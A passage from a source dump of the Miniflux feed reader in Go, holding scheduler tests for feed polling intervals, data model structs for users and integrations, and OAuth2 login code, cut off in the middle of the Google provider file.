timeBefore, \"TestFeedScheduleNextCheckRoundRobinMinInterval\")\n}\n\nfunc TestFeedScheduleNextCheckEntryFrequencyMaxInterval(t *testing.T) {\n\tmaxInterval := 5\n\tminInterval := 1\n\tos.Clearenv()\n\tos.Setenv(\"POLLING_SCHEDULER\", \"entry_frequency\")\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL\", strconv.Itoa(maxInterval))\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL\", strconv.Itoa(minInterval))\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\t// Use a very small weekly count to trigger the max interval\n\tweeklyCount := 1\n\tfeed.ScheduleNextCheck(weeklyCount, noRefreshDelay)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\ttargetInterval := time.Duration(maxInterval) * time.Minute\n\tcheckTargetInterval(t, feed, targetInterval, timeBefore, \"entry frequency max interval\")\n}\n\nfunc TestFeedScheduleNextCheckEntryFrequencyMaxIntervalZeroWeeklyCount(t *testing.T) {\n\tmaxInterval := 5\n\tminInterval := 1\n\tos.Clearenv()\n\tos.Setenv(\"POLLING_SCHEDULER\", \"entry_frequency\")\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL\", strconv.Itoa(maxInterval))\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL\", strconv.Itoa(minInterval))\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\t// Use a very small weekly count to trigger the max interval\n\tweeklyCount := 0\n\tfeed.ScheduleNextCheck(weeklyCount, noRefreshDelay)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\ttargetInterval := time.Duration(maxInterval) * time.Minute\n\tcheckTargetInterval(t, feed, targetInterval, timeBefore, \"entry frequency max interval\")\n}\n\nfunc TestFeedScheduleNextCheckEntryFrequencyMinInterval(t *testing.T) {\n\tmaxInterval := 500\n\tminInterval := 100\n\tos.Clearenv()\n\tos.Setenv(\"POLLING_SCHEDULER\", \"entry_frequency\")\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL\", strconv.Itoa(maxInterval))\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL\", strconv.Itoa(minInterval))\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\t// Use a very large weekly count to trigger the min interval\n\tweeklyCount := largeWeeklyCount\n\tfeed.ScheduleNextCheck(weeklyCount, noRefreshDelay)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\ttargetInterval := time.Duration(minInterval) * time.Minute\n\tcheckTargetInterval(t, feed, targetInterval, timeBefore, \"entry frequency min interval\")\n}\n\nfunc TestFeedScheduleNextCheckEntryFrequencyFactor(t *testing.T) {\n\tfactor := 2\n\tos.Clearenv()\n\tos.Setenv(\"POLLING_SCHEDULER\", \"entry_frequency\")\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_FACTOR\", strconv.Itoa(factor))\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\tweeklyCount := 7\n\tfeed.ScheduleNextCheck(weeklyCount, noRefreshDelay)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\ttargetInterval := config.Opts.SchedulerEntryFrequencyMaxInterval() / time.Duration(factor)\n\tcheckTargetInterval(t, feed, targetInterval, timeBefore, \"factor * count\")\n}\n\nfunc TestFeedScheduleNextCheckEntryFrequencySmallNewTTL(t *testing.T) {\n\t// If the feed has a TTL defined, we use it to make sure we don't check it too often.\n\tmaxInterval := 500\n\tminInterval := 100\n\tos.Clearenv()\n\tos.Setenv(\"POLLING_SCHEDULER\", \"entry_frequency\")\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL\", strconv.Itoa(maxInterval))\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL\", strconv.Itoa(minInterval))\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\t// Use a very large weekly count to trigger the min interval\n\tweeklyCount := largeWeeklyCount\n\t// TTL is smaller than minInterval.\n\tnewTTL := time.Duration(minInterval) * time.Minute / 2\n\tfeed.ScheduleNextCheck(weeklyCount, newTTL)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\ttargetInterval := time.Duration(minInterval) * time.Minute\n\tcheckTargetInterval(t, feed, targetInterval, timeBefore, \"entry frequency min interval\")\n\n\tif feed.NextCheckAt.Before(timeBefore.Add(newTTL)) {\n\t\tt.Error(`The next_check_at should be after timeBefore + TTL`)\n\t}\n}\n\nfunc TestFeedScheduleNextCheckEntryFrequencyLargeNewTTL(t *testing.T) {\n\t// If the feed has a TTL defined, we use it to make sure we don't check it too often.\n\tmaxInterval := 500\n\tminInterval := 100\n\tos.Clearenv()\n\tos.Setenv(\"POLLING_SCHEDULER\", \"entry_frequency\")\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL\", strconv.Itoa(maxInterval))\n\tos.Setenv(\"SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL\", strconv.Itoa(minInterval))\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\ttimeBefore := time.Now()\n\tfeed := &Feed{}\n\t// Use a very large weekly count to trigger the min interval\n\tweeklyCount := largeWeeklyCount\n\t// TTL is larger than minInterval.\n\tnewTTL := time.Duration(minInterval) * time.Minute * 2\n\tfeed.ScheduleNextCheck(weeklyCount, newTTL)\n\n\tif feed.NextCheckAt.IsZero() {\n\t\tt.Error(`The next_check_at must be set`)\n\t}\n\n\ttargetInterval := newTTL\n\tcheckTargetInterval(t, feed, targetInterval, timeBefore, \"TTL\")\n\n\tif feed.NextCheckAt.Before(timeBefore.Add(time.Minute * time.Duration(minInterval))) {\n\t\tt.Error(`The next_check_at should be after timeBefore + entry frequency min interval`)\n\t}\n}\n"
  },
  {
    "path": "internal/model/home_page.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\n// HomePages returns the list of available home pages.\nfunc HomePages() map[string]string {\n\treturn map[string]string{\n\t\t\"unread\":     \"menu.unread\",\n\t\t\"starred\":    \"menu.starred\",\n\t\t\"history\":    \"menu.history\",\n\t\t\"feeds\":      \"menu.feeds\",\n\t\t\"categories\": \"menu.categories\",\n\t}\n}\n"
  },
  {
    "path": "internal/model/icon.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport (\n\t\"encoding/base64\"\n)\n\n// Icon represents a website icon (favicon)\ntype Icon struct {\n\tID         int64  `json:\"id\"`\n\tHash       string `json:\"hash\"`\n\tMimeType   string `json:\"mime_type\"`\n\tContent    []byte `json:\"-\"`\n\tExternalID string `json:\"external_id\"`\n}\n\n// DataURL returns the data URL of the icon.\nfunc (i *Icon) DataURL() string {\n\treturn i.MimeType + \";base64,\" + base64.StdEncoding.EncodeToString(i.Content)\n}\n\n// Icons represents a list of icons.\ntype Icons []*Icon\n\n// FeedIcon is a junction table between feeds and icons.\ntype FeedIcon struct {\n\tFeedID         int64  `json:\"feed_id\"`\n\tIconID         int64  `json:\"icon_id\"`\n\tExternalIconID string `json:\"external_icon_id\"`\n}\n"
  },
  {
    "path": "internal/model/integration.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\n// Integration represents user integration settings.\ntype Integration struct {\n\tUserID                           int64\n\tBetulaEnabled                    bool\n\tBetulaURL                        string\n\tBetulaToken                      string\n\tPinboardEnabled                  bool\n\tPinboardToken                    string\n\tPinboardTags                     string\n\tPinboardMarkAsUnread             bool\n\tInstapaperEnabled                bool\n\tInstapaperUsername               string\n\tInstapaperPassword               string\n\tFeverEnabled                     bool\n\tFeverUsername                    string\n\tFeverToken                       string\n\tGoogleReaderEnabled              bool\n\tGoogleReaderUsername             string\n\tGoogleReaderPassword             string\n\tWallabagEnabled                  bool\n\tWallabagOnlyURL                  bool\n\tWallabagURL                      string\n\tWallabagClientID                 string\n\tWallabagClientSecret             string\n\tWallabagUsername                 string\n\tWallabagPassword                 string\n\tWallabagTags                     string\n\tNunuxKeeperEnabled               bool\n\tNunuxKeeperURL                   string\n\tNunuxKeeperAPIKey                string\n\tNotionEnabled                    bool\n\tNotionToken                      string\n\tNotionPageID                     string\n\tEspialEnabled                    bool\n\tEspialURL                        string\n\tEspialAPIKey                     string\n\tEspialTags                       string\n\tReadwiseEnabled                  bool\n\tReadwiseAPIKey                   string\n\tTelegramBotEnabled               bool\n\tTelegramBotToken                 string\n\tTelegramBotChatID                string\n\tTelegramBotTopicID               *int64\n\tTelegramBotDisableWebPagePreview bool\n\tTelegramBotDisableNotification   bool\n\tTelegramBotDisableButtons        bool\n\tLinkAceEnabled                   bool\n\tLinkAceURL                       string\n\tLinkAceAPIKey                    string\n\tLinkAceTags                      string\n\tLinkAcePrivate                   bool\n\tLinkAceCheckDisabled             bool\n\tLinkdingEnabled                  bool\n\tLinkdingURL                      string\n\tLinkdingAPIKey                   string\n\tLinkdingTags                     string\n\tLinkdingMarkAsUnread             bool\n\tLinktacoEnabled                  bool\n\tLinktacoAPIToken                 string\n\tLinktacoOrgSlug                  string\n\tLinktacoTags                     string\n\tLinktacoVisibility               string\n\tLinkwardenEnabled                bool\n\tLinkwardenURL                    string\n\tLinkwardenAPIKey                 string\n\tLinkwardenCollectionID           *int64\n\tMatrixBotEnabled                 bool\n\tMatrixBotUser                    string\n\tMatrixBotPassword                string\n\tMatrixBotURL                     string\n\tMatrixBotChatID                  string\n\tAppriseEnabled                   bool\n\tAppriseURL                       string\n\tAppriseServicesURL               string\n\tReadeckEnabled                   bool\n\tReadeckPushEnabled               bool\n\tReadeckURL                       string\n\tReadeckAPIKey                    string\n\tReadeckLabels                    string\n\tReadeckOnlyURL                   bool\n\tShioriEnabled                    bool\n\tShioriURL                        string\n\tShioriUsername                   string\n\tShioriPassword                   string\n\tShaarliEnabled                   bool\n\tShaarliURL                       string\n\tShaarliAPISecret                 string\n\tWebhookEnabled                   bool\n\tWebhookURL                       string\n\tWebhookSecret                    string\n\tRSSBridgeEnabled                 bool\n\tRSSBridgeURL                     string\n\tRSSBridgeToken                   string\n\tOmnivoreEnabled                  bool\n\tOmnivoreAPIKey                   string\n\tOmnivoreURL                      string\n\tKarakeepEnabled                  bool\n\tKarakeepAPIKey                   string\n\tKarakeepURL                      string\n\tKarakeepTags                     string\n\tRaindropEnabled                  bool\n\tRaindropToken                    string\n\tRaindropCollectionID             string\n\tRaindropTags                     string\n\tNtfyEnabled                      bool\n\tNtfyTopic                        string\n\tNtfyURL                          string\n\tNtfyAPIToken                     string\n\tNtfyUsername                     string\n\tNtfyPassword                     string\n\tNtfyIconURL                      string\n\tNtfyInternalLinks                bool\n\tCuboxEnabled                     bool\n\tCuboxAPILink                     string\n\tDiscordEnabled                   bool\n\tDiscordWebhookLink               string\n\tSlackEnabled                     bool\n\tSlackWebhookLink                 string\n\tPushoverEnabled                  bool\n\tPushoverUser                     string\n\tPushoverToken                    string\n\tPushoverDevice                   string\n\tPushoverPrefix                   string\n\tArchiveorgEnabled                bool\n}\n"
  },
  {
    "path": "internal/model/job.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\n// Job represents a payload sent to the processing queue.\ntype Job struct {\n\tUserID  int64\n\tFeedID  int64\n\tFeedURL string\n}\n\n// JobList represents a list of jobs.\ntype JobList []Job\n\n// FeedURLs returns a list of feed URLs from the job list.\n// This is useful for logging or debugging purposes to see which feeds are being processed.\nfunc (jl *JobList) FeedURLs() []string {\n\tfeedURLs := make([]string, len(*jl))\n\tfor i, job := range *jl {\n\t\tfeedURLs[i] = job.FeedURL\n\t}\n\treturn feedURLs\n}\n"
  },
  {
    "path": "internal/model/model.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\ntype Number interface {\n\tint | int64 | float64\n}\n\nfunc OptionalNumber[T Number](value T) *T {\n\tif value > 0 {\n\t\treturn &value\n\t}\n\treturn nil\n}\n\nfunc OptionalString(value string) *string {\n\tif value != \"\" {\n\t\treturn &value\n\t}\n\treturn nil\n}\n\n//go:fix inline\nfunc SetOptionalField[T any](value T) *T {\n\treturn new(value)\n}\n"
  },
  {
    "path": "internal/model/subscription.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\n// SubscriptionDiscoveryRequest represents a request to discover subscriptions.\ntype SubscriptionDiscoveryRequest struct {\n\tURL                         string `json:\"url\"`\n\tUserAgent                   string `json:\"user_agent\"`\n\tCookie                      string `json:\"cookie\"`\n\tUsername                    string `json:\"username\"`\n\tPassword                    string `json:\"password\"`\n\tProxyURL                    string `json:\"proxy_url\"`\n\tFetchViaProxy               bool   `json:\"fetch_via_proxy\"`\n\tAllowSelfSignedCertificates bool   `json:\"allow_self_signed_certificates\"`\n\tDisableHTTP2                bool   `json:\"disable_http2\"`\n}\n"
  },
  {
    "path": "internal/model/theme.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\n// Themes returns the list of available themes.\nfunc Themes() map[string]string {\n\treturn map[string]string{\n\t\t\"light_serif\":       \"Light - Serif\",\n\t\t\"light_sans_serif\":  \"Light - Sans Serif\",\n\t\t\"dark_serif\":        \"Dark - Serif\",\n\t\t\"dark_sans_serif\":   \"Dark - Sans Serif\",\n\t\t\"system_serif\":      \"System - Serif\",\n\t\t\"system_sans_serif\": \"System - Sans Serif\",\n\t}\n}\n\n// ThemeColor returns the color for the address bar or/and the browser color.\n// https://developer.mozilla.org/en-US/docs/Web/Manifest#theme_color\n// https://developers.google.com/web/tools/lighthouse/audits/address-bar\n// https://developer.mozilla.org/en-US/docs/Web/HTML/Element/meta/name/theme-color\nfunc ThemeColor(theme, colorScheme string) string {\n\tswitch theme {\n\tcase \"dark_serif\", \"dark_sans_serif\":\n\t\treturn \"#222\"\n\tcase \"system_serif\", \"system_sans_serif\":\n\t\tif colorScheme == \"dark\" {\n\t\t\treturn \"#222\"\n\t\t}\n\n\t\treturn \"#fff\"\n\tdefault:\n\t\treturn \"#fff\"\n\t}\n}\n"
  },
  {
    "path": "internal/model/user.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport (\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/timezone\"\n)\n\n// User represents a user in the system.\ntype User struct {\n\tID                              int64      `json:\"id\"`\n\tUsername                        string     `json:\"username\"`\n\tPassword                        string     `json:\"-\"`\n\tIsAdmin                         bool       `json:\"is_admin\"`\n\tTheme                           string     `json:\"theme\"`\n\tLanguage                        string     `json:\"language\"`\n\tTimezone                        string     `json:\"timezone\"`\n\tEntryDirection                  string     `json:\"entry_sorting_direction\"`\n\tEntryOrder                      string     `json:\"entry_sorting_order\"`\n\tStylesheet                      string     `json:\"stylesheet\"`\n\tCustomJS                        string     `json:\"custom_js\"`\n\tExternalFontHosts               string     `json:\"external_font_hosts\"`\n\tGoogleID                        string     `json:\"google_id\"`\n\tOpenIDConnectID                 string     `json:\"openid_connect_id\"`\n\tEntriesPerPage                  int        `json:\"entries_per_page\"`\n\tKeyboardShortcuts               bool       `json:\"keyboard_shortcuts\"`\n\tShowReadingTime                 bool       `json:\"show_reading_time\"`\n\tEntrySwipe                      bool       `json:\"entry_swipe\"`\n\tGestureNav                      string     `json:\"gesture_nav\"`\n\tLastLoginAt                     *time.Time `json:\"last_login_at\"`\n\tDisplayMode                     string     `json:\"display_mode\"`\n\tDefaultReadingSpeed             int        `json:\"default_reading_speed\"`\n\tCJKReadingSpeed                 int        `json:\"cjk_reading_speed\"`\n\tDefaultHomePage                 string     `json:\"default_home_page\"`\n\tCategoriesSortingOrder          string     `json:\"categories_sorting_order\"`\n\tMarkReadOnView                  bool       `json:\"mark_read_on_view\"`\n\tMarkReadOnMediaPlayerCompletion bool       `json:\"mark_read_on_media_player_completion\"`\n\tMediaPlaybackRate               float64    `json:\"media_playback_rate\"`\n\tBlockFilterEntryRules           string     `json:\"block_filter_entry_rules\"`\n\tKeepFilterEntryRules            string     `json:\"keep_filter_entry_rules\"`\n\tAlwaysOpenExternalLinks         bool       `json:\"always_open_external_links\"`\n\tOpenExternalLinksInNewTab       bool       `json:\"open_external_links_in_new_tab\"`\n}\n\n// UserCreationRequest represents the request to create a user.\ntype UserCreationRequest struct {\n\tUsername        string `json:\"username\"`\n\tPassword        string `json:\"password\"`\n\tIsAdmin         bool   `json:\"is_admin\"`\n\tGoogleID        string `json:\"google_id\"`\n\tOpenIDConnectID string `json:\"openid_connect_id\"`\n}\n\n// UserModificationRequest represents the request to update a user.\ntype UserModificationRequest struct {\n\tUsername                        *string  `json:\"username\"`\n\tPassword                        *string  `json:\"password\"`\n\tTheme                           *string  `json:\"theme\"`\n\tLanguage                        *string  `json:\"language\"`\n\tTimezone                        *string  `json:\"timezone\"`\n\tEntryDirection                  *string  `json:\"entry_sorting_direction\"`\n\tEntryOrder                      *string  `json:\"entry_sorting_order\"`\n\tStylesheet                      *string  `json:\"stylesheet\"`\n\tCustomJS                        *string  `json:\"custom_js\"`\n\tExternalFontHosts               *string  `json:\"external_font_hosts\"`\n\tGoogleID                        *string  `json:\"google_id\"`\n\tOpenIDConnectID                 *string  `json:\"openid_connect_id\"`\n\tEntriesPerPage                  *int     `json:\"entries_per_page\"`\n\tIsAdmin                         *bool    `json:\"is_admin\"`\n\tKeyboardShortcuts               *bool    `json:\"keyboard_shortcuts\"`\n\tShowReadingTime                 *bool    `json:\"show_reading_time\"`\n\tEntrySwipe                      *bool    `json:\"entry_swipe\"`\n\tGestureNav                      *string  `json:\"gesture_nav\"`\n\tDisplayMode                     *string  `json:\"display_mode\"`\n\tDefaultReadingSpeed             *int     `json:\"default_reading_speed\"`\n\tCJKReadingSpeed                 *int     `json:\"cjk_reading_speed\"`\n\tDefaultHomePage                 *string  `json:\"default_home_page\"`\n\tCategoriesSortingOrder          *string  `json:\"categories_sorting_order\"`\n\tMarkReadOnView                  *bool    `json:\"mark_read_on_view\"`\n\tMarkReadOnMediaPlayerCompletion *bool    `json:\"mark_read_on_media_player_completion\"`\n\tMediaPlaybackRate               *float64 `json:\"media_playback_rate\"`\n\tBlockFilterEntryRules           *string  `json:\"block_filter_entry_rules\"`\n\tKeepFilterEntryRules            *string  `json:\"keep_filter_entry_rules\"`\n\tAlwaysOpenExternalLinks         *bool    `json:\"always_open_external_links\"`\n\tOpenExternalLinksInNewTab       *bool    `json:\"open_external_links_in_new_tab\"`\n}\n\n// Patch updates the User object with the modification request.\nfunc (u *UserModificationRequest) Patch(user *User) {\n\tif u.Username != nil {\n\t\tuser.Username = *u.Username\n\t}\n\n\tif u.Password != nil {\n\t\tuser.Password = *u.Password\n\t}\n\n\tif u.IsAdmin != nil {\n\t\tuser.IsAdmin = *u.IsAdmin\n\t}\n\n\tif u.Theme != nil {\n\t\tuser.Theme = *u.Theme\n\t}\n\n\tif u.Language != nil {\n\t\tuser.Language = *u.Language\n\t}\n\n\tif u.Timezone != nil {\n\t\tuser.Timezone = *u.Timezone\n\t}\n\n\tif u.EntryDirection != nil {\n\t\tuser.EntryDirection = *u.EntryDirection\n\t}\n\n\tif u.EntryOrder != nil {\n\t\tuser.EntryOrder = *u.EntryOrder\n\t}\n\n\tif u.Stylesheet != nil {\n\t\tuser.Stylesheet = *u.Stylesheet\n\t}\n\n\tif u.CustomJS != nil {\n\t\tuser.CustomJS = *u.CustomJS\n\t}\n\n\tif u.ExternalFontHosts != nil {\n\t\tuser.ExternalFontHosts = *u.ExternalFontHosts\n\t}\n\n\tif u.GoogleID != nil {\n\t\tuser.GoogleID = *u.GoogleID\n\t}\n\n\tif u.OpenIDConnectID != nil {\n\t\tuser.OpenIDConnectID = *u.OpenIDConnectID\n\t}\n\n\tif u.EntriesPerPage != nil {\n\t\tuser.EntriesPerPage = *u.EntriesPerPage\n\t}\n\n\tif u.KeyboardShortcuts != nil {\n\t\tuser.KeyboardShortcuts = *u.KeyboardShortcuts\n\t}\n\n\tif u.ShowReadingTime != nil {\n\t\tuser.ShowReadingTime = *u.ShowReadingTime\n\t}\n\n\tif u.EntrySwipe != nil {\n\t\tuser.EntrySwipe = *u.EntrySwipe\n\t}\n\n\tif u.GestureNav != nil {\n\t\tuser.GestureNav = *u.GestureNav\n\t}\n\n\tif u.DisplayMode != nil {\n\t\tuser.DisplayMode = *u.DisplayMode\n\t}\n\n\tif u.DefaultReadingSpeed != nil {\n\t\tuser.DefaultReadingSpeed = *u.DefaultReadingSpeed\n\t}\n\n\tif u.CJKReadingSpeed != nil {\n\t\tuser.CJKReadingSpeed = *u.CJKReadingSpeed\n\t}\n\n\tif u.DefaultHomePage != nil {\n\t\tuser.DefaultHomePage = *u.DefaultHomePage\n\t}\n\n\tif u.CategoriesSortingOrder != nil {\n\t\tuser.CategoriesSortingOrder = *u.CategoriesSortingOrder\n\t}\n\n\tif u.MarkReadOnView != nil {\n\t\tuser.MarkReadOnView = *u.MarkReadOnView\n\t}\n\n\tif u.MarkReadOnMediaPlayerCompletion != nil {\n\t\tuser.MarkReadOnMediaPlayerCompletion = *u.MarkReadOnMediaPlayerCompletion\n\t}\n\n\tif u.MediaPlaybackRate != nil {\n\t\tuser.MediaPlaybackRate = *u.MediaPlaybackRate\n\t}\n\n\tif u.BlockFilterEntryRules != nil {\n\t\tuser.BlockFilterEntryRules = *u.BlockFilterEntryRules\n\t}\n\n\tif u.KeepFilterEntryRules != nil {\n\t\tuser.KeepFilterEntryRules = *u.KeepFilterEntryRules\n\t}\n\n\tif u.AlwaysOpenExternalLinks != nil {\n\t\tuser.AlwaysOpenExternalLinks = *u.AlwaysOpenExternalLinks\n\t}\n\n\tif u.OpenExternalLinksInNewTab != nil {\n\t\tuser.OpenExternalLinksInNewTab = *u.OpenExternalLinksInNewTab\n\t}\n}\n\n// UseTimezone converts last login date to the given timezone.\nfunc (u *User) UseTimezone(tz string) {\n\tif u.LastLoginAt != nil {\n\t\t*u.LastLoginAt = timezone.Convert(tz, *u.LastLoginAt)\n\t}\n}\n\n// Users represents a list of users.\ntype Users []*User\n\n// UseTimezone converts last login timestamp of all users to the given timezone.\nfunc (u Users) UseTimezone(tz string) {\n\tfor _, user := range u {\n\t\tuser.UseTimezone(tz)\n\t}\n}\n"
  },
  {
    "path": "internal/model/user_session.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport (\n\t\"fmt\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/timezone\"\n)\n\n// UserSession represents a user session in the system.\ntype UserSession struct {\n\tID        int64\n\tUserID    int64\n\tToken     string\n\tCreatedAt time.Time\n\tUserAgent string\n\tIP        string\n}\n\nfunc (u *UserSession) String() string {\n\treturn fmt.Sprintf(`ID=%d, UserID=%d, IP=%q, Token=%q`, u.ID, u.UserID, u.IP, u.Token)\n}\n\n// UseTimezone converts creation date to the given timezone.\nfunc (u *UserSession) UseTimezone(tz string) {\n\tu.CreatedAt = timezone.Convert(tz, u.CreatedAt)\n}\n"
  },
  {
    "path": "internal/model/webauthn.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage model // import \"miniflux.app/v2/internal/model\"\n\nimport (\n\t\"database/sql/driver\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/go-webauthn/webauthn/webauthn\"\n)\n\n// WebAuthnSession handles marshalling / unmarshalling session data\ntype WebAuthnSession struct {\n\t*webauthn.SessionData\n}\n\nfunc (s WebAuthnSession) Value() (driver.Value, error) {\n\treturn json.Marshal(s)\n}\n\nfunc (s *WebAuthnSession) Scan(value any) error {\n\tb, ok := value.([]byte)\n\tif !ok {\n\t\treturn errors.New(\"type assertion to []byte failed\")\n\t}\n\n\treturn json.Unmarshal(b, &s)\n}\n\nfunc (s WebAuthnSession) String() string {\n\tif s.SessionData == nil {\n\t\treturn \"{}\"\n\t}\n\treturn fmt.Sprintf(\"{Challenge: %s, UserID: %x}\", s.Challenge, s.UserID)\n}\n\ntype WebAuthnCredential struct {\n\tCredential webauthn.Credential\n\tName       string\n\tAddedOn    *time.Time\n\tLastSeenOn *time.Time\n\tHandle     []byte\n}\n\nfunc (s WebAuthnCredential) HandleEncoded() string {\n\treturn hex.EncodeToString(s.Handle)\n}\n"
  },
  {
    "path": "internal/oauth2/authorization.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage oauth2 // import \"miniflux.app/v2/internal/oauth2\"\n\nimport (\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\n\t\"golang.org/x/oauth2\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n)\n\ntype Authorization struct {\n\turl          string\n\tstate        string\n\tcodeVerifier string\n}\n\nfunc (u *Authorization) RedirectURL() string {\n\treturn u.url\n}\n\nfunc (u *Authorization) State() string {\n\treturn u.state\n}\n\nfunc (u *Authorization) CodeVerifier() string {\n\treturn u.codeVerifier\n}\n\nfunc GenerateAuthorization(config *oauth2.Config) *Authorization {\n\tcodeVerifier := crypto.GenerateRandomStringHex(32)\n\tsum := sha256.Sum256([]byte(codeVerifier))\n\n\tstate := crypto.GenerateRandomStringHex(24)\n\n\tauthUrl := config.AuthCodeURL(\n\t\tstate,\n\t\toauth2.SetAuthURLParam(\"code_challenge_method\", \"S256\"),\n\t\toauth2.SetAuthURLParam(\"code_challenge\", base64.RawURLEncoding.EncodeToString(sum[:])),\n\t)\n\n\treturn &Authorization{\n\t\turl:          authUrl,\n\t\tstate:        state,\n\t\tcodeVerifier: codeVerifier,\n\t}\n}\n"
  },
  {
    "path": "internal/oauth2/google.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage oauth2 // import \"miniflux.app/v2/internal/oauth2\"\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\n\t\"miniflux.app/v2/internal/model\"\n\n\t\"golang.org/x/oauth2\"\n)\n\ntype googleProfile struct {\n\tSub   string `json:\"sub\"`\n\tEmail string `json:\"email\"`\n}\n\ntype googleProvider struct {\n\tclientID     string\n\tclientSecret string\n\tredirectURL  string\n}\n\nfunc NewGoogleProvider(clientID, clientSecret, redirectURL string) *googleProvider {\n\treturn &googleProvider{clientID: clientID, clientSecret: clientSecret, redirectURL: redirectURL}\n}\n\nfunc (g *googleProvider) GetConfig() *oauth2.Config {\n\treturn &oauth2.Config{\n\t\tRedirectURL:  g.redirectURL,\n\t\tClientID:     g.clientID,\n\t\tClientSecret: g.clientSecret,\n\t\tScopes:       []string{\"email\"},\n\t\tEndpoint: oauth2.Endpoint{\n\t\t\tAuthURL:  \"https://accounts.google.com/o/oauth2/auth\",\n\t\t\tTokenURL: \"https://accounts.google.com/o/oauth2/token\",\n\t\t},\n\t}\n}\n\nfunc (g *googleProvider) GetUserExtraKey() string {\n\treturn \"google_id\"\n}\n\nfunc (g *googleProvider) GetProfile(ctx context.Context, code, codeVerifier string) (*Profile, error) {\n\tconf := g.GetConfig()\n\ttoken, err := conf.Exchange(ctx, code, 